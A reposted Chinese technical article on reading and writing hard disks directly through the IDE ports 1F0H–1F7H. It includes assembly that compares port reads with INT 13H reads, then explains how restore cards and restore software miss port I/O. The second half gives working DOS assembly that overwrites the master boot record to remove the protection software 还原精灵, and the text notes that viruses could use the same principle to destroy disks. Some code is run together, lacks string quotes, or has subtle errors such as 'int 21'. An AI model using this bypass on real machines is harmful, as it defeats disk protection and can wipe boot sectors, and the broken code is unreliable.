1F6H 读/写 用来存放要读/写的磁盘号及磁头号
第7位 恒为1
第6位 恒为0
第5位 恒为1
第4位 为0代表第一块硬盘、为1代表第二块硬盘
第3~0位 用来存放要读/写的磁头号
1f7H 读 用来存放读操作后的状态
第7位 控制器忙碌
第6位 磁盘驱动器准备好了
第5位 写入错误
第4位 搜索完成
第3位 为1时扇区缓冲区没有准备好
第2位 是否正确读取磁盘数据
第1位 磁盘每转一周将此位设为1,
第0位 之前的命令因发生错误而结束
写 该位端口为命令端口,用来发出指定命令
为50h 格式化磁道
为20h 尝试读取扇区
为21h 无须验证扇区是否准备好而直接读扇区
为22h 尝试读取长扇区(用于早期的硬盘,每扇可能不是512字节,而是128字节到1024之间的值)
为23h 无须验证扇区是否准备好而直接读长扇区
为30h 尝试写扇区
为31h 无须验证扇区是否准备好而直接写扇区
为32h 尝试写长扇区
为33h 无须验证扇区是否准备好而直接写长扇区
注:当然看完这个表您会发现,这种读写端口的方法其实是基于磁头、柱面、扇区的硬盘读写方法,但是大于8G的硬盘的读写方法也是通过端口1F0H~1F7H来实现的^_^
四、一个通过对硬盘输入输出端口操作来读写硬盘的实例
让我们来看一个关于INT13H读写硬盘程式实例。在例子中周详说明了硬盘的读写操作所用到的端口,并且把通过INT13H读出的主引导区得到的数据和通过输入输出读主引导区得到的数据进行比较,从而证实这两种操作功能相同,程式片段如下: mov dx,1f6h ; 要读入的磁盘号及磁头号
mov al,0a0h ;磁盘0,磁头0
out dx,al mov dx,1f2h ;要读入的扇区数量
mov al,1 ;读一个扇区
out dx,al mov dx,1f3h ;要读的扇区号
mov al,1 ;扇区号为1
out dx,al mov dx,1f4h ;要读的柱面的低8位
mov al,0 ; 柱面低8位为0
out dx,al mov dx,1f5h ; 柱面高2位
mov al,0 ; 柱面高2位为0(通过1F4H和1F5H端口我们能够确定
; 用来读的柱面号是0)
out dx,al mov dx,1f7h ;命令端口
mov al,20h ; 尝试读取扇区
out dx,al
still_going:
in al,dx
test al,8 ;扇区缓冲是否准备好
jz still_going ;假如扇区缓冲没有准备好的话则跳转,直到准备好才向下执行。 mov cx,512/2 ;配置循环次数(512/2次)
mov di,offset buffer
mov dx,1f0h ;将要传输的一个字节的数据
rep insw ;传输数据 ; ------ mov ax,201h ;以下是用INT13H读硬盘的0磁头、0柱面、1扇区
mov dx,80h
mov cx,1
mov bx,offset buffer2
int 13h mov cx,512 ;以下部分用来比较2种方法读出的硬盘数据
mov si,offset buffer
mov di,offset buffer2
repe cmpsb
jne failure
mov ah,9
mov dx,offset readmsg
int 21h
jmp good_exit
failure:
mov ah,9
mov dx,offset failmsg
int 21h
good_exit: ;以下部分用来结束程式
mov ax,4c00h ;退出程式
int 21h readmsg db The buffers match. Hard disk read using ports.$
failmsg db The buffers do not match.$
buffer db 512 dup (V)
buffer2 db 512 dup (L) 五、能够穿透还原卡或是还原软件保护的代码
您能够对照硬盘读写端口含义表,再好好看看上面的例子,您将会对硬盘读写端口有一个比较深的理解。好了,到了该把谜底揭晓的时候了,重新回到我们的主题。正如您现在想象的,这种能够穿透还原卡或是还原软件保护的代码的确是对硬盘读写端口的输入输出操作。现在,我们已能够从原理上理解了,还原卡拦截的是中断操作,但却拦截不了输入输出操作,而用输入输出操作足够能够对硬盘进行写操作了,当然用输入输出操作也完万能够读到被虚拟还原程式屏蔽的关键部分,被还原卡或是还原软件屏蔽的0头0道1扇。知道了这一原理以后,可能是仁者见仁智者见智的,假如您是个虚拟还原技术的破解者、一个病毒制造者,或是虚拟还原技术的设计者,往往对此的理解都是不尽相同的。
在此强调我不赞成制造病毒,但一个病毒制造者完万能够用此原理写出一个能够实现破坏装有还原卡或还原软件的机器了,所以我要提醒虚拟还原用户的是,不要以为装有还原卡或是还原软件就掉以轻心,要知道世界上还是有病毒能够穿透虚拟还原技术的保护,达到破坏硬盘的目的的,想象一下假如把这一原理运用到CIH病毒中,或运用到硬盘杀手病毒中,其后果是不堪设想的。
谈谈如何用这种能够穿透虚拟还原技术的代码来破解还原软件(如还原精灵)吧。以下是我写的用来测试破解还原精灵的代码,本代码编译后的程式需要在纯DOS环境执行,在DOS下我用这段代码成功的把还原精灵给卸载了。
.286
CODE SEGMENT
ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代码用INT13H读主引导区
mov ax,0201h
mov dx,0080h
mov cx,0001h
mov bx,7c00h
int 13h
;---------------------------------------------------------
;以下代码用I/O端口来写主引导区
mov dx,1f6h ; 要读入的磁盘号及磁头号
mov al,0a0h ; 磁盘0,磁头0
out dx,al mov dx,1f2h ; 要写的扇区数量
mov al,1 ; 写一个扇区
out dx,al mov dx,1f3h ;要写的扇区号
mov al,1 ;写到1扇区
out dx,al mov dx,1f4h ; 要写的柱面的低8位
mov al,0 ; 低8位为0
out dx,al mov dx,1f5h ; 要写的柱面的高2位
mov al,0 ; 高2位为0
out dx,al mov dx,1f7h ;命令端口
mov al,30h ;尝试着写扇区.
out dx,al
oogle:
in al,dx
test al,8 ;磁盘扇区缓冲是否准备好
jz oogle mov cx,512/2 ;配置循环次数(512/2)
mov si,7c00h
mov dx,1f0h ;数据端口,用来存放要发送的数据.
rep outsw ;发送数据.
; ------------------------------------------------------------------------------
;退出程式
mov ah,4ch
int 21
CODE ENDS
END START
上面的程式很简单,说明如下:
1、先把被还原精灵备份的原来的主引导区用INT13H读出来,这里虽然是对0头0道1扇进行读操作,但实际上是在读被还原精灵把原来的主引导区备份进去的那个扇区;
2、把读出的原来的主引导区通过输入输出操作写进真正的主引导区,换句话说就是把还原精灵给完全删除了,此时重新启动您将发现还原精灵已没有了。
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




